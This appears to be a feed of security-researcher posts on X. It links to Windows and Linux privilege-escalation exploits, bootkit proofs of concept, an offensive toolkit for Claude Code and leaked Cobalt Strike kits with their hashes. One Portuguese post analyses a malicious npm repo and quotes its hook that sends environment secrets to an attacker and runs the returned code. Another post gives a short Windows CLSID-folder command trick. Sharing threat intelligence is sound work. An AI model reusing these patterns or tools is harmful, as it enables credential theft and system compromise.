FFE4

I'm a virus analyst focus on Windows Security Research,Exploit Development

[Calif @calif_io]

RedSun: Exploiting Windows Defender's Remediation Workflow for Local Privilege Escalation

Just showing some appreciation for @ChaoticEclipse0's excellent work. Hopefully this won't get us banned!

https://t.co/Z4zbaa2Jcd

[portbuster @portbuster1337]

Added the new CIFSwitch linux LPE exploit into lpe-toolkit btw
https://t.co/BmdCcmBkWK

[Jonas L @jonasLyk]

@ibuildthecloud How else would you do this?
mkdir wtf.{0AFACED1-E828-11D1-9187-B532F1E9575D}
cd "wtf.{0AFACED1-E828-11D1-9187-B532F1E9575D}"
copy "%APPDATA%\Microsoft\Windows\Start Menu\Programs\System Tools\Command Prompt.lnk" target.lnk

[LuemmelSec @theluemmel]

https://t.co/dIf6xCVnf5

[Sakai @sakaijjang]

Kimsuky 바이낸스(Binance) 사칭 해서 암호화폐 사용을 노리는 악성코드-BN_FIU_2026.chm
https://t.co/VybAVkFIEp
#김수키 #Kimsuky #암호화폐

[Fabio Vedovelli @vedovelli74]

⚠️ Devs, parem tudo e leiam. Quase rodei malware na minha máquina agora mesmo e quero que vocês saibam exatamente como funciona o golpe.

Recebi um link de um repo no GitHub: um "MVP" de um projeto web3/poker, com pedido pra clonar e rodar localmente. Visual de teste técnico, daqueles que recruiter manda. Antes de tocar em qualquer coisa, parei e li o código pelo próprio GitHub, sem clonar.

Bem que desconfiei. Era malware. E não um qualquer — tinha DOIS payloads que executam SOZINHOS, sem você rodar nada explicitamente.

🎯 Payload 1 — dispara no `npm install`
O `package.json` tinha `"prepare": "node server/server.js"`. O detalhe maldoso: o script `prepare` roda AUTOMÁTICO toda vez que você dá `npm install`. Dentro dele, escondido nas rotas do servidor, um:

`https://t.co/EHtEFLu5Yg(url, { ...process.env })`

Ou seja: ele empacota TODAS as suas variáveis de ambiente — chaves de AWS, tokens de API, secrets, seed phrase de carteira cripto — e manda pro servidor do atacante. E não para aí: a RESPOSTA do servidor é passada pra `new Function("require", resposta)(require)`. Isso é execução de código arbitrário, com acesso total ao Node: filesystem, child_process, rede. Ele pode roubar suas chaves SSH, instalar persistência, o que quiser.

A URL do atacante? Escondida em base64 no `.env`, decodificando pra um domínio na Vercel. Disfarce em cima de disfarce.

[Rene Robichaud @ReneRobichaud]

Surviving a LockBit Ransomware Attack: The ROI of Visibility
https://t.co/nAYTT1gNLJ

[CryptoCat @_CryptoCat]

Found an unpatched RCE in Gogs 👀 Any authenticated user can get code execution on the server through argument injection into git rebase. Full @rapid7 writeup + @metasploit module available now!

🔗https://t.co/VAYLxZ6o1b

[ɐpnH @0x0Huda]

UEFI bootkit PoC. Firmware hooks + boot hijack + pre-OS persistence. Boots before Windows, owns Ring0. First public framework for APT emulation.
https://t.co/RBJuW6BPQR

[YogSotho @YogSoth0]

@Pirat_Nation https://t.co/Qz655uC8yF
Just in case Gitlab decides to nuke his work

[DFIR Radar @DFIR_Radar]

North Korean 🇰🇵 Lazarus APT deploys RemotePE, a fileless RAT that runs entirely in memory using DPAPI encryption keying. Fox-IT analysis shows active development from 2023-2024 with manual C2 operator approval during KST hours.

#DFIR_Radar

[ɐpnH @0x0Huda]

Petya-style bootkit PoC. Raw Assembly for MBR hijack + C/C++ payload. Boots, installs, and owns the system pre-OS. https://t.co/fKY3HroJXz

[r1cksec @r1cksec]

A post about how Windows Named Pipes can become an attack surface when their ACLs are too permissive or when pipe creation flags are misused

https://t.co/m3KnfqXNfk

#infosec #cybersecurity #redteam #pentest #windows

[Askar @askardyuss]

Same technique (VHDX + RLO + DLL sideloading) was used to execute the variant of malicious DLL (MD5 68088E5032370006560FF1035B3F2E72).

[Swissky @pentest_swissky]

RedSun: How Windows Defender's Remediation Became a SYSTEM File Write
https://t.co/8gB8yqpEJx

[Nicolas Krassas @Dinosn]

Offensive security toolkit for Claude Code covering red team, exploit dev, AD attacks, EDR bypass, mobile pentest https://t.co/BkwoSBEFew

[Smukx.E @5mukx]

An unexpected journey into Microsoft Defender's signature World

Blog:- https://t.co/17xtrUXk1A

#windows #defender #reverse

[Clandestine @akaclandestine]

GitHub - orinimron123/CVE-2026-40369-EXPLOIT: Full exploit code for CVE-2026-40369 - A Windows kernel arbitrary write vulnerability that allows browser sandbox escape from all browsers render process sandbox · GitHub https://t.co/12eWzOQNR8

[FFE4 @KernelDBG]

just found cobaltstrike 4.12 with arsenal-kit20251122.tgz but protect with password

4eebbfab228cc1a2e5f2569fbbe6c0664a45e42773b6ead4e65d539864fd7b9d

[FFE4 @KernelDBG]

just found Arsenal Kit 20251122 version leaked

d6f857c4e66be26343cbff27a55a057ff9f55d3c99e2e2048701e210200a0590